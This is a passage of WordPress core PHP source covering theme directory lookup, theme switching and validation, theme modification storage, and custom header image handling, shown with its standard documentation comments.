		$stylesheet_uri = "$stylesheet_dir_uri/{$wp_locale->text_direction}.css";
	} else {
		$stylesheet_uri = '';
	}
	/**
	 * Filters the localized stylesheet URI.
	 *
	 * @since 2.1.0
	 *
	 * @param string $stylesheet_uri     Localized stylesheet URI.
	 * @param string $stylesheet_dir_uri Stylesheet directory URI.
	 */
	return apply_filters( 'locale_stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri );
}

/**
 * Retrieves name of the active theme.
 *
 * @since 1.5.0
 *
 * @return string Template name.
 */
function get_template() {
	/**
	 * Filters the name of the active theme.
	 *
	 * @since 1.5.0
	 *
	 * @param string $template active theme's directory name.
	 */
	return apply_filters( 'template', get_option( 'template' ) );
}

/**
 * Retrieves template directory path for the active theme.
 *
 * @since 1.5.0
 * @since 6.4.0 Memoizes filter execution so that it only runs once for the current theme.
 * @since 6.4.1 Memoization removed.
 *
 * @return string Path to active theme's template directory.
 */
function get_template_directory() {
	$template     = get_template();
	$theme_root   = get_theme_root( $template );
	$template_dir = "$theme_root/$template";

	/**
	 * Filters the active theme directory path.
	 *
	 * @since 1.5.0
	 *
	 * @param string $template_dir The path of the active theme directory.
	 * @param string $template     Directory name of the active theme.
	 * @param string $theme_root   Absolute path to the themes directory.
	 */
	return apply_filters( 'template_directory', $template_dir, $template, $theme_root );
}

/**
 * Retrieves template directory URI for the active theme.
 *
 * @since 1.5.0
 *
 * @return string URI to active theme's template directory.
 */
function get_template_directory_uri() {
	$template         = str_replace( '%2F', '/', rawurlencode( get_template() ) );
	$theme_root_uri   = get_theme_root_uri( $template );
	$template_dir_uri = "$theme_root_uri/$template";

	/**
	 * Filters the active theme directory URI.
	 *
	 * @since 1.5.0
	 *
	 * @param string $template_dir_uri The URI of the active theme directory.
	 * @param string $template         Directory name of the active theme.
	 * @param string $theme_root_uri   The themes root URI.
	 */
	return apply_filters( 'template_directory_uri', $template_dir_uri, $template, $theme_root_uri );
}

/**
 * Retrieves theme roots.
 *
 * @since 2.9.0
 *
 * @global array $wp_theme_directories
 *
 * @return array|string An array of theme roots keyed by template/stylesheet
 *                      or a single theme root if all themes have the same root.
 */
function get_theme_roots() {
	global $wp_theme_directories;

	if ( ! is_array( $wp_theme_directories ) || count( $wp_theme_directories ) <= 1 ) {
		return '/themes';
	}

	$theme_roots = get_site_transient( 'theme_roots' );
	if ( false === $theme_roots ) {
		search_theme_directories( true ); // Regenerate the transient.
		$theme_roots = get_site_transient( 'theme_roots' );
	}
	return $theme_roots;
}

/**
 * Registers a directory that contains themes.
 *
 * @since 2.9.0
 *
 * @global array $wp_theme_directories
 *
 * @param string $directory Either the full filesystem path to a theme folder
 *                          or a folder within WP_CONTENT_DIR.
 * @return bool True if successfully registered a directory that contains themes,
 *              false if the directory does not exist.
 */
function register_theme_directory( $directory ) {
	global $wp_theme_directories;

	if ( ! file_exists( $directory ) ) {
		// Try prepending as the theme directory could be relative to the content directory.
		$directory = WP_CONTENT_DIR . '/' . $directory;
		// If this directory does not exist, return and do not register.
		if ( ! file_exists( $directory ) ) {
			return false;
		}
	}

	if ( ! is_array( $wp_theme_directories ) ) {
		$wp_theme_directories = array();
	}

	$untrailed = untrailingslashit( $directory );
	if ( ! empty( $untrailed ) && ! in_array( $untrailed, $wp_theme_directories, true ) ) {
		$wp_theme_directories[] = $untrailed;
	}

	return true;
}

/**
 * Searches all registered theme directories for complete and valid themes.
 *
 * @since 2.9.0
 *
 * @global array $wp_theme_directories
 *
 * @param bool $force Optional. Whether to force a new directory scan. Default false.
 * @return array|false Valid themes found on success, false on failure.
 */
function search_theme_directories( $force = false ) {
	global $wp_theme_directories;
	static $found_themes = null;

	if ( empty( $wp_theme_directories ) ) {
		return false;
	}

	if ( ! $force && isset( $found_themes ) ) {
		return $found_themes;
	}

	$found_themes = array();

	$wp_theme_directories = (array) $wp_theme_directories;
	$relative_theme_roots = array();

	/*
	 * Set up maybe-relative, maybe-absolute array of theme directories.
	 * We always want to return absolute, but we need to cache relative
	 * to use in get_theme_root().
	 */
	foreach ( $wp_theme_directories as $theme_root ) {
		if ( str_starts_with( $theme_root, WP_CONTENT_DIR ) ) {
			$relative_theme_roots[ str_replace( WP_CONTENT_DIR, '', $theme_root ) ] = $theme_root;
		} else {
			$relative_theme_roots[ $theme_root ] = $theme_root;
		}
	}

	/**
	 * Filters whether to get the cache of the registered theme directories.
	 *
	 * @since 3.4.0
	 *
	 * @param bool   $cache_expiration Whether to get the cache of the theme directories. Default false.
	 * @param string $context          The class or function name calling the filter.
	 */
	$cache_expiration = apply_filters( 'wp_cache_themes_persistently', false, 'search_theme_directories' );

	if ( $cache_expiration ) {
		$cached_roots = get_site_transient( 'theme_roots' );
		if ( is_array( $cached_roots ) ) {
			foreach ( $cached_roots as $theme_dir => $theme_root ) {
				// A cached theme root is no longer around, so skip it.
				if ( ! isset( $relative_theme_roots[ $theme_root ] ) ) {
					continue;
				}
				$found_themes[ $theme_dir ] = array(
					'theme_file' => $theme_dir . '/style.css',
					'theme_root' => $relative_theme_roots[ $theme_root ], // Convert relative to absolute.
				);
			}
			return $found_themes;
		}
		if ( ! is_int( $cache_expiration ) ) {
			$cache_expiration = 30 * MINUTE_IN_SECONDS;
		}
	} else {
		$cache_expiration = 30 * MINUTE_IN_SECONDS;
	}

	/* Loop the registered theme directories and extract all themes */
	foreach ( $wp_theme_directories as $theme_root ) {

		// Start with directories in the root of the active theme directory.
		$dirs = @ scandir( $theme_root );
		if ( ! $dirs ) {
			trigger_error( "$theme_root is not readable", E_USER_NOTICE );
			continue;
		}
		foreach ( $dirs as $dir ) {
			if ( ! is_dir( $theme_root . '/' . $dir ) || '.' === $dir[0] || 'CVS' === $dir ) {
				continue;
			}
			if ( file_exists( $theme_root . '/' . $dir . '/style.css' ) ) {
				/*
				 * wp-content/themes/a-single-theme
				 * wp-content/themes is $theme_root, a-single-theme is $dir.
				 */
				$found_themes[ $dir ] = array(
					'theme_file' => $dir . '/style.css',
					'theme_root' => $theme_root,
				);
			} else {
				$found_theme = false;
				/*
				 * wp-content/themes/a-folder-of-themes/*
				 * wp-content/themes is $theme_root, a-folder-of-themes is $dir, then themes are $sub_dirs.
				 */
				$sub_dirs = @ scandir( $theme_root . '/' . $dir );
				if ( ! $sub_dirs ) {
					trigger_error( "$theme_root/$dir is not readable", E_USER_NOTICE );
					continue;
				}
				foreach ( $sub_dirs as $sub_dir ) {
					if ( ! is_dir( $theme_root . '/' . $dir . '/' . $sub_dir ) || '.' === $dir[0] || 'CVS' === $dir ) {
						continue;
					}
					if ( ! file_exists( $theme_root . '/' . $dir . '/' . $sub_dir . '/style.css' ) ) {
						continue;
					}
					$found_themes[ $dir . '/' . $sub_dir ] = array(
						'theme_file' => $dir . '/' . $sub_dir . '/style.css',
						'theme_root' => $theme_root,
					);
					$found_theme                           = true;
				}
				/*
				 * Never mind the above, it's just a theme missing a style.css.
				 * Return it; WP_Theme will catch the error.
				 */
				if ( ! $found_theme ) {
					$found_themes[ $dir ] = array(
						'theme_file' => $dir . '/style.css',
						'theme_root' => $theme_root,
					);
				}
			}
		}
	}

	asort( $found_themes );

	$theme_roots          = array();
	$relative_theme_roots = array_flip( $relative_theme_roots );

	foreach ( $found_themes as $theme_dir => $theme_data ) {
		$theme_roots[ $theme_dir ] = $relative_theme_roots[ $theme_data['theme_root'] ]; // Convert absolute to relative.
	}

	if ( get_site_transient( 'theme_roots' ) != $theme_roots ) {
		set_site_transient( 'theme_roots', $theme_roots, $cache_expiration );
	}

	return $found_themes;
}

/**
 * Retrieves path to themes directory.
 *
 * Does not have trailing slash.
 *
 * @since 1.5.0
 *
 * @global array $wp_theme_directories
 *
 * @param string $stylesheet_or_template Optional. The stylesheet or template name of the theme.
 *                                       Default is to leverage the main theme root.
 * @return string Themes directory path.
 */
function get_theme_root( $stylesheet_or_template = '' ) {
	global $wp_theme_directories;

	$theme_root = '';

	if ( $stylesheet_or_template ) {
		$theme_root = get_raw_theme_root( $stylesheet_or_template );
		if ( $theme_root ) {
			/*
			 * Always prepend WP_CONTENT_DIR unless the root currently registered as a theme directory.
			 * This gives relative theme roots the benefit of the doubt when things go haywire.
			 */
			if ( ! in_array( $theme_root, (array) $wp_theme_directories, true ) ) {
				$theme_root = WP_CONTENT_DIR . $theme_root;
			}
		}
	}

	if ( ! $theme_root ) {
		$theme_root = WP_CONTENT_DIR . '/themes';
	}

	/**
	 * Filters the absolute path to the themes directory.
	 *
	 * @since 1.5.0
	 *
	 * @param string $theme_root Absolute path to themes directory.
	 */
	return apply_filters( 'theme_root', $theme_root );
}

/**
 * Retrieves URI for themes directory.
 *
 * Does not have trailing slash.
 *
 * @since 1.5.0
 *
 * @global array $wp_theme_directories
 *
 * @param string $stylesheet_or_template Optional. The stylesheet or template name of the theme.
 *                                       Default is to leverage the main theme root.
 * @param string $theme_root             Optional. The theme root for which calculations will be based,
 *                                       preventing the need for a get_raw_theme_root() call. Default empty.
 * @return string Themes directory URI.
 */
function get_theme_root_uri( $stylesheet_or_template = '', $theme_root = '' ) {
	global $wp_theme_directories;

	if ( $stylesheet_or_template && ! $theme_root ) {
		$theme_root = get_raw_theme_root( $stylesheet_or_template );
	}

	if ( $stylesheet_or_template && $theme_root ) {
		if ( in_array( $theme_root, (array) $wp_theme_directories, true ) ) {
			// Absolute path. Make an educated guess. YMMV -- but note the filter below.
			if ( str_starts_with( $theme_root, WP_CONTENT_DIR ) ) {
				$theme_root_uri = content_url( str_replace( WP_CONTENT_DIR, '', $theme_root ) );
			} elseif ( str_starts_with( $theme_root, ABSPATH ) ) {
				$theme_root_uri = site_url( str_replace( ABSPATH, '', $theme_root ) );
			} elseif ( str_starts_with( $theme_root, WP_PLUGIN_DIR ) || str_starts_with( $theme_root, WPMU_PLUGIN_DIR ) ) {
				$theme_root_uri = plugins_url( basename( $theme_root ), $theme_root );
			} else {
				$theme_root_uri = $theme_root;
			}
		} else {
			$theme_root_uri = content_url( $theme_root );
		}
	} else {
		$theme_root_uri = content_url( 'themes' );
	}

	/**
	 * Filters the URI for themes directory.
	 *
	 * @since 1.5.0
	 *
	 * @param string $theme_root_uri         The URI for themes directory.
	 * @param string $siteurl                WordPress web address which is set in General Options.
	 * @param string $stylesheet_or_template The stylesheet or template name of the theme.
	 */
	return apply_filters( 'theme_root_uri', $theme_root_uri, get_option( 'siteurl' ), $stylesheet_or_template );
}

/**
 * Gets the raw theme root relative to the content directory with no filters applied.
 *
 * @since 3.1.0
 *
 * @global array $wp_theme_directories
 *
 * @param string $stylesheet_or_template The stylesheet or template name of the theme.
 * @param bool   $skip_cache             Optional. Whether to skip the cache.
 *                                       Defaults to false, meaning the cache is used.
 * @return string Theme root.
 */
function get_raw_theme_root( $stylesheet_or_template, $skip_cache = false ) {
	global $wp_theme_directories;

	if ( ! is_array( $wp_theme_directories ) || count( $wp_theme_directories ) <= 1 ) {
		return '/themes';
	}

	$theme_root = false;

	// If requesting the root for the active theme, consult options to avoid calling get_theme_roots().
	if ( ! $skip_cache ) {
		if ( get_option( 'stylesheet' ) == $stylesheet_or_template ) {
			$theme_root = get_option( 'stylesheet_root' );
		} elseif ( get_option( 'template' ) == $stylesheet_or_template ) {
			$theme_root = get_option( 'template_root' );
		}
	}

	if ( empty( $theme_root ) ) {
		$theme_roots = get_theme_roots();
		if ( ! empty( $theme_roots[ $stylesheet_or_template ] ) ) {
			$theme_root = $theme_roots[ $stylesheet_or_template ];
		}
	}

	return $theme_root;
}

/**
 * Displays localized stylesheet link element.
 *
 * @since 2.1.0
 */
function locale_stylesheet() {
	$stylesheet = get_locale_stylesheet_uri();
	if ( empty( $stylesheet ) ) {
		return;
	}

	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';

	printf(
		'<link rel="stylesheet" href="%s"%s media="screen" />',
		$stylesheet,
		$type_attr
	);
}

/**
 * Switches the theme.
 *
 * Accepts one argument: $stylesheet of the theme. It also accepts an additional function signature
 * of two arguments: $template then $stylesheet. This is for backward compatibility.
 *
 * @since 2.5.0
 *
 * @global array                $wp_theme_directories
 * @global WP_Customize_Manager $wp_customize
 * @global array                $sidebars_widgets
 * @global array                $wp_registered_sidebars
 *
 * @param string $stylesheet Stylesheet name.
 */
function switch_theme( $stylesheet ) {
	global $wp_theme_directories, $wp_customize, $sidebars_widgets, $wp_registered_sidebars;

	$requirements = validate_theme_requirements( $stylesheet );
	if ( is_wp_error( $requirements ) ) {
		wp_die( $requirements );
	}

	$_sidebars_widgets = null;
	if ( 'wp_ajax_customize_save' === current_action() ) {
		$old_sidebars_widgets_data_setting = $wp_customize->get_setting( 'old_sidebars_widgets_data' );
		if ( $old_sidebars_widgets_data_setting ) {
			$_sidebars_widgets = $wp_customize->post_value( $old_sidebars_widgets_data_setting );
		}
	} elseif ( is_array( $sidebars_widgets ) ) {
		$_sidebars_widgets = $sidebars_widgets;
	}

	if ( is_array( $_sidebars_widgets ) ) {
		set_theme_mod(
			'sidebars_widgets',
			array(
				'time' => time(),
				'data' => $_sidebars_widgets,
			)
		);
	}

	$nav_menu_locations = get_theme_mod( 'nav_menu_locations' );
	update_option( 'theme_switch_menu_locations', $nav_menu_locations );

	if ( func_num_args() > 1 ) {
		$stylesheet = func_get_arg( 1 );
	}

	$old_theme = wp_get_theme();
	$new_theme = wp_get_theme( $stylesheet );
	$template  = $new_theme->get_template();

	if ( wp_is_recovery_mode() ) {
		$paused_themes = wp_paused_themes();
		$paused_themes->delete( $old_theme->get_stylesheet() );
		$paused_themes->delete( $old_theme->get_template() );
	}

	update_option( 'template', $template );
	update_option( 'stylesheet', $stylesheet );

	if ( count( $wp_theme_directories ) > 1 ) {
		update_option( 'template_root', get_raw_theme_root( $template, true ) );
		update_option( 'stylesheet_root', get_raw_theme_root( $stylesheet, true ) );
	} else {
		delete_option( 'template_root' );
		delete_option( 'stylesheet_root' );
	}

	$new_name = $new_theme->get( 'Name' );

	update_option( 'current_theme', $new_name );

	// Migrate from the old mods_{name} option to theme_mods_{slug}.
	if ( is_admin() && false === get_option( 'theme_mods_' . $stylesheet ) ) {
		$default_theme_mods = (array) get_option( 'mods_' . $new_name );
		if ( ! empty( $nav_menu_locations ) && empty( $default_theme_mods['nav_menu_locations'] ) ) {
			$default_theme_mods['nav_menu_locations'] = $nav_menu_locations;
		}
		add_option( "theme_mods_$stylesheet", $default_theme_mods );
	} else {
		/*
		 * Since retrieve_widgets() is called when initializing a theme in the Customizer,
		 * we need to remove the theme mods to avoid overwriting changes made via
		 * the Customizer when accessing wp-admin/widgets.php.
		 */
		if ( 'wp_ajax_customize_save' === current_action() ) {
			remove_theme_mod( 'sidebars_widgets' );
		}
	}

	// Stores classic sidebars for later use by block themes.
	if ( $new_theme->is_block_theme() ) {
		set_theme_mod( 'wp_classic_sidebars', $wp_registered_sidebars );
	}

	update_option( 'theme_switched', $old_theme->get_stylesheet() );

	/*
	 * Reset template globals when switching themes outside of a switched blog
	 * context to ensure templates will be loaded from the new theme.
	 */
	if ( ! is_multisite() || ! ms_is_switched() ) {
		wp_set_template_globals();
	}

	// Clear pattern caches.
	if ( ! is_multisite() ) {
		$new_theme->delete_pattern_cache();
		$old_theme->delete_pattern_cache();
	}

	// Set autoload=no for the old theme, autoload=yes for the switched theme.
	$theme_mods_options = array(
		'theme_mods_' . $stylesheet                  => 'yes',
		'theme_mods_' . $old_theme->get_stylesheet() => 'no',
	);
	wp_set_option_autoload_values( $theme_mods_options );

	/**
	 * Fires after the theme is switched.
	 *
	 * See {@see 'after_switch_theme'}.
	 *
	 * @since 1.5.0
	 * @since 4.5.0 Introduced the `$old_theme` parameter.
	 *
	 * @param string   $new_name  Name of the new theme.
	 * @param WP_Theme $new_theme WP_Theme instance of the new theme.
	 * @param WP_Theme $old_theme WP_Theme instance of the old theme.
	 */
	do_action( 'switch_theme', $new_name, $new_theme, $old_theme );
}

/**
 * Checks that the active theme has the required files.
 *
 * Standalone themes need to have a `templates/index.html` or `index.php` template file.
 * Child themes need to have a `Template` header in the `style.css` stylesheet.
 *
 * Does not initially check the default theme, which is the fallback and should always exist.
 * But if it doesn't exist, it'll fall back to the latest core default theme that does exist.
 * Will switch theme to the fallback theme if active theme does not validate.
 *
 * You can use the {@see 'validate_current_theme'} filter to return false to disable
 * this functionality.
 *
 * @since 1.5.0
 * @since 6.0.0 Removed the requirement for block themes to have an `index.php` template.
 *
 * @see WP_DEFAULT_THEME
 *
 * @return bool
 */
function validate_current_theme() {
	/**
	 * Filters whether to validate the active theme.
	 *
	 * @since 2.7.0
	 *
	 * @param bool $validate Whether to validate the active theme. Default true.
	 */
	if ( wp_installing() || ! apply_filters( 'validate_current_theme', true ) ) {
		return true;
	}

	if (
		! file_exists( get_template_directory() . '/templates/index.html' )
		&& ! file_exists( get_template_directory() . '/block-templates/index.html' ) // Deprecated path support since 5.9.0.
		&& ! file_exists( get_template_directory() . '/index.php' )
	) {
		// Invalid.
	} elseif ( ! file_exists( get_template_directory() . '/style.css' ) ) {
		// Invalid.
	} elseif ( is_child_theme() && ! file_exists( get_stylesheet_directory() . '/style.css' ) ) {
		// Invalid.
	} else {
		// Valid.
		return true;
	}

	$default = wp_get_theme( WP_DEFAULT_THEME );
	if ( $default->exists() ) {
		switch_theme( WP_DEFAULT_THEME );
		return false;
	}

	/**
	 * If we're in an invalid state but WP_DEFAULT_THEME doesn't exist,
	 * switch to the latest core default theme that's installed.
	 *
	 * If it turns out that this latest core default theme is our current
	 * theme, then there's nothing we can do about that, so we have to bail,
	 * rather than going into an infinite loop. (This is why there are
	 * checks against WP_DEFAULT_THEME above, also.) We also can't do anything
	 * if it turns out there is no default theme installed. (That's `false`.)
	 */
	$default = WP_Theme::get_core_default_theme();
	if ( false === $default || get_stylesheet() == $default->get_stylesheet() ) {
		return true;
	}

	switch_theme( $default->get_stylesheet() );
	return false;
}

/**
 * Validates the theme requirements for WordPress version and PHP version.
 *
 * Uses the information from `Requires at least` and `Requires PHP` headers
 * defined in the theme's `style.css` file.
 *
 * @since 5.5.0
 * @since 5.8.0 Removed support for using `readme.txt` as a fallback.
 *
 * @param string $stylesheet Directory name for the theme.
 * @return true|WP_Error True if requirements are met, WP_Error on failure.
 */
function validate_theme_requirements( $stylesheet ) {
	$theme = wp_get_theme( $stylesheet );

	$requirements = array(
		'requires'     => ! empty( $theme->get( 'RequiresWP' ) ) ? $theme->get( 'RequiresWP' ) : '',
		'requires_php' => ! empty( $theme->get( 'RequiresPHP' ) ) ? $theme->get( 'RequiresPHP' ) : '',
	);

	$compatible_wp  = is_wp_version_compatible( $requirements['requires'] );
	$compatible_php = is_php_version_compatible( $requirements['requires_php'] );

	if ( ! $compatible_wp && ! $compatible_php ) {
		return new WP_Error(
			'theme_wp_php_incompatible',
			sprintf(
				/* translators: %s: Theme name. */
				_x( '<strong>Error:</strong> Current WordPress and PHP versions do not meet minimum requirements for %s.', 'theme' ),
				$theme->display( 'Name' )
			)
		);
	} elseif ( ! $compatible_php ) {
		return new WP_Error(
			'theme_php_incompatible',
			sprintf(
				/* translators: %s: Theme name. */
				_x( '<strong>Error:</strong> Current PHP version does not meet minimum requirements for %s.', 'theme' ),
				$theme->display( 'Name' )
			)
		);
	} elseif ( ! $compatible_wp ) {
		return new WP_Error(
			'theme_wp_incompatible',
			sprintf(
				/* translators: %s: Theme name. */
				_x( '<strong>Error:</strong> Current WordPress version does not meet minimum requirements for %s.', 'theme' ),
				$theme->display( 'Name' )
			)
		);
	}

	return true;
}

/**
 * Retrieves all theme modifications.
 *
 * @since 3.1.0
 * @since 5.9.0 The return value is always an array.
 *
 * @return array Theme modifications.
 */
function get_theme_mods() {
	$theme_slug = get_option( 'stylesheet' );
	$mods       = get_option( "theme_mods_$theme_slug" );

	if ( false === $mods ) {
		$theme_name = get_option( 'current_theme' );
		if ( false === $theme_name ) {
			$theme_name = wp_get_theme()->get( 'Name' );
		}

		$mods = get_option( "mods_$theme_name" ); // Deprecated location.
		if ( is_admin() && false !== $mods ) {
			update_option( "theme_mods_$theme_slug", $mods );
			delete_option( "mods_$theme_name" );
		}
	}

	if ( ! is_array( $mods ) ) {
		$mods = array();
	}

	return $mods;
}

/**
 * Retrieves theme modification value for the active theme.
 *
 * If the modification name does not exist and `$default_value` is a string, then the
 * default will be passed through the {@link https://www.php.net/sprintf sprintf()}
 * PHP function with the template directory URI as the first value and the
 * stylesheet directory URI as the second value.
 *
 * @since 2.1.0
 *
 * @param string $name          Theme modification name.
 * @param mixed  $default_value Optional. Theme modification default value. Default false.
 * @return mixed Theme modification value.
 */
function get_theme_mod( $name, $default_value = false ) {
	$mods = get_theme_mods();

	if ( isset( $mods[ $name ] ) ) {
		/**
		 * Filters the theme modification, or 'theme_mod', value.
		 *
		 * The dynamic portion of the hook name, `$name`, refers to the key name
		 * of the modification array. For example, 'header_textcolor', 'header_image',
		 * and so on depending on the theme options.
		 *
		 * @since 2.2.0
		 *
		 * @param mixed $current_mod The value of the active theme modification.
		 */
		return apply_filters( "theme_mod_{$name}", $mods[ $name ] );
	}

	if ( is_string( $default_value ) ) {
		// Only run the replacement if an sprintf() string format pattern was found.
		if ( preg_match( '#(?<!%)%(?:\d+\$?)?s#', $default_value ) ) {
			// Remove a single trailing percent sign.
			$default_value = preg_replace( '#(?<!%)%$#', '', $default_value );
			$default_value = sprintf( $default_value, get_template_directory_uri(), get_stylesheet_directory_uri() );
		}
	}

	/** This filter is documented in wp-includes/theme.php */
	return apply_filters( "theme_mod_{$name}", $default_value );
}

/**
 * Updates theme modification value for the active theme.
 *
 * @since 2.1.0
 * @since 5.6.0 A return value was added.
 *
 * @param string $name  Theme modification name.
 * @param mixed  $value Theme modification value.
 * @return bool True if the value was updated, false otherwise.
 */
function set_theme_mod( $name, $value ) {
	$mods      = get_theme_mods();
	$old_value = isset( $mods[ $name ] ) ? $mods[ $name ] : false;

	/**
	 * Filters the theme modification, or 'theme_mod', value on save.
	 *
	 * The dynamic portion of the hook name, `$name`, refers to the key name
	 * of the modification array. For example, 'header_textcolor', 'header_image',
	 * and so on depending on the theme options.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed $value     The new value of the theme modification.
	 * @param mixed $old_value The current value of the theme modification.
	 */
	$mods[ $name ] = apply_filters( "pre_set_theme_mod_{$name}", $value, $old_value );

	$theme = get_option( 'stylesheet' );

	return update_option( "theme_mods_$theme", $mods );
}

/**
 * Removes theme modification name from active theme list.
 *
 * If removing the name also removes all elements, then the entire option
 * will be removed.
 *
 * @since 2.1.0
 *
 * @param string $name Theme modification name.
 */
function remove_theme_mod( $name ) {
	$mods = get_theme_mods();

	if ( ! isset( $mods[ $name ] ) ) {
		return;
	}

	unset( $mods[ $name ] );

	if ( empty( $mods ) ) {
		remove_theme_mods();
		return;
	}

	$theme = get_option( 'stylesheet' );

	update_option( "theme_mods_$theme", $mods );
}

/**
 * Removes theme modifications option for the active theme.
 *
 * @since 2.1.0
 */
function remove_theme_mods() {
	delete_option( 'theme_mods_' . get_option( 'stylesheet' ) );

	// Old style.
	$theme_name = get_option( 'current_theme' );
	if ( false === $theme_name ) {
		$theme_name = wp_get_theme()->get( 'Name' );
	}

	delete_option( 'mods_' . $theme_name );
}

/**
 * Retrieves the custom header text color in 3- or 6-digit hexadecimal form.
 *
 * @since 2.1.0
 *
 * @return string Header text color in 3- or 6-digit hexadecimal form (minus the hash symbol).
 */
function get_header_textcolor() {
	return get_theme_mod( 'header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ) );
}

/**
 * Displays the custom header text color in 3- or 6-digit hexadecimal form (minus the hash symbol).
 *
 * @since 2.1.0
 */
function header_textcolor() {
	echo get_header_textcolor();
}

/**
 * Whether to display the header text.
 *
 * @since 3.4.0
 *
 * @return bool
 */
function display_header_text() {
	if ( ! current_theme_supports( 'custom-header', 'header-text' ) ) {
		return false;
	}

	$text_color = get_theme_mod( 'header_textcolor', get_theme_support( 'custom-header', 'default-text-color' ) );
	return 'blank' !== $text_color;
}

/**
 * Checks whether a header image is set or not.
 *
 * @since 4.2.0
 *
 * @see get_header_image()
 *
 * @return bool Whether a header image is set or not.
 */
function has_header_image() {
	return (bool) get_header_image();
}

/**
 * Retrieves header image for custom header.
 *
 * @since 2.1.0
 *
 * @return string|false
 */
function get_header_image() {
	$url = get_theme_mod( 'header_image', get_theme_support( 'custom-header', 'default-image' ) );

	if ( 'remove-header' === $url ) {
		return false;
	}

	if ( is_random_header_image() ) {
		$url = get_random_header_image();
	}

	/**
	 * Filters the header image URL.
	 *
	 * @since 6.1.0
	 *
	 * @param string $url Header image URL.
	 */
	$url = apply_filters( 'get_header_image', $url );

	if ( ! is_string( $url ) ) {
		return false;
	}

	$url = trim( $url );
	return sanitize_url( set_url_scheme( $url ) );
}

/**
 * Creates image tag markup for a custom header image.
 *
 * @since 4.4.0
 *
 * @param array $attr Optional. Additional attributes for the image tag. Can be used
 *                              to override the default attributes. Default empty.
 * @return string HTML image element markup or empty string on failure.
 */
function get_header_image_tag( $attr = array() ) {
	$header      = get_custom_header();
	$header->url = get_header_image();

	if ( ! $header->url ) {
		return '';
	}

	$width  = absint( $header->width );
	$height = absint( $header->height );
	$alt    = '';

	// Use alternative text assigned to the image, if available. Otherwise, leave it empty.
	if ( ! empty( $header->attachment_id ) ) {
		$image_alt = get_post_meta( $header->attachment_id, '_wp_attachment_image_alt', true );

		if ( is_string( $image_alt ) ) {
			$alt = $image_alt;
		}
	}

	$attr = wp_parse_args(
		$attr,
		array(
			'src'    => $header->url,
			'width'  => $width,
			'height' => $height,
			'alt'    => $alt,
		)
	);

	// Generate 'srcset' and 'sizes' if not already present.
	if ( empty( $attr['srcset'] ) && ! empty( $header->attachment_id ) ) {
		$image_meta = get_post_meta( $header->attachment_id, '_wp_attachment_metadata', true );
		$size_array = array( $width, $height );

		if ( is_array( $image_meta ) ) {
			$srcset = wp_calculate_image_srcset( $size_array, $header->url, $image_meta, $header->attachment_id );

			if ( ! empty( $attr['sizes'] ) ) {
				$sizes = $attr['sizes'];
			} else {
				$sizes = wp_calculate_image_sizes( $size_array, $header->url, $image_meta, $header->attachment_id );
			}

			if ( $srcset && $sizes ) {
				$attr['srcset'] = $srcset;
				$attr['sizes']  = $sizes;
			}
		}
	}

	$attr = array_merge(
		$attr,
		wp_get_loading_optimization_attributes( 'img', $attr, 'get_header_image_tag' )
	);

	/*
	 * If the default value of `lazy` for the `loading` attribute is overridden
	 * to omit the attribute for this image, ensure it is not included.
	 */
	if ( isset( $attr['loading'] ) && ! $attr['loading'] ) {
		unset( $attr['loading'] );
	}

	// If the `fetchpriority` attribute is overridden and set to false or an empty string.
	if ( isset( $attr['fetchpriority'] ) && ! $attr['fetchpriority'] ) {
		unset( $attr['fetchpriority'] );
	}

	// If the `decoding` attribute is overridden and set to false or an empty string.
	if ( isset( $attr['decoding'] ) && ! $attr['decoding'] ) {
		unset( $attr['decoding'] );
	}

	/**
	 * Filters the list of header image attributes.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $attr   Array of the attributes for the image tag.
	 * @param object $header The custom header object returned by 'get_custom_header()'.
	 */
	$attr = apply_filters( 'get_header_image_tag_attributes', $attr, $header );

	$attr = array_map( 'esc_attr', $attr );
	$html = '<img';

	foreach ( $attr as $name => $value ) {
		$html .= ' ' . $name . '="' . $value . '"';
	}

	$html .= ' />';

	/**
	 * Filters the markup of header images.
	 *
	 * @since 4.4.0
	 *
	 * @param string $html   The HTML image tag markup being filtered.
	 * @param object $header The custom header object returned by 'get_custom_header()'.
	 * @param array  $attr   Array of the attributes for the image tag.
	 */
	return apply_filters( 'get_header_image_tag', $html, $header, $attr );
}

/**
 * Displays the image markup for a custom header image.
 *
 * @since 4.4.0
 *
 * @param array $attr Optional. Attributes for the image markup. Default empty.
 */
function the_header_image_tag( $attr = array() ) {
	echo get_header_image_tag( $attr );
}

/**
 * Gets random header image data from registered images in theme.
 *
 * @since 3.4.0
 *
 * @access private
 *
 * @global array $_wp_default_headers
 *
 * @return object
 */
function _get_random_header_data() {
	global $_wp_default_headers;
	static $_wp_random_header = null;

	if ( empty( $_wp_random_header ) ) {
		$header_image_mod = get_theme_mod( 'header_image', '' );
		$headers          = array();

		if ( 'random-uploaded-image' === $header_image_mod ) {
			$headers = get_uploaded_header_images();
		} elseif ( ! empty( $_wp_default_headers ) ) {
			if ( 'random-default-image' === $header_image_mod ) {
				$headers = $_wp_default_headers;
			} else {
				if ( current_theme_supports( 'custom-header', 'random-default' ) ) {
					$headers = $_wp_default_headers;
				}
			}
		}

		if ( empty( $headers ) ) {
			return new stdClass();
		}

		$_wp_random_header = (object) $headers[ array_rand( $headers ) ];

		$_wp_random_header->url = sprintf(
			$_wp_random_header->url,
			get_template_directory_uri(),
			get_stylesheet_directory_uri()
		);

		$_wp_random_header->thumbnail_url = sprintf(
			$_wp_random_header->thumbnail_url,
			get_template_directory_uri(),
			get_stylesheet_directory_uri()
		);
	}

	return $_wp_random_header;
}

/**
 * Gets random header image URL from registered images in theme.
 *
 * @since 3.2.0
 *
 * @return string Path to header image.
 */
function get_random_header_image() {
	$random_image = _get_random_header_data();

	if ( empty( $random_image->url ) ) {
		return '';
	}

	return $random_image->url;
}

/**
 * Checks if random header image is in use.
 *
 * Always true if user expressly chooses the option in Appearance > Header.
 * Also true if theme has multiple header images registered, no specific header image
 * is chosen, and theme turns on random headers with add_theme_support().
 *
 * @since 3.2.0
 *
 * @param string $type The random pool to use. Possible values include 'any',
 *                     'default', 'uploaded'. Default 'any'.
 * @return bool
 */
function is_random_header_image( $type = 'any' ) {
	$header_image_mod = get_theme_mod( 'header_image', get_theme_support( 'custom-header', 'default-image' ) );

	if ( 'any' === $type ) {
		if ( 'random-default-image' === $header_image_mod
			|| 'random-uploaded-image' === $header_image_mod
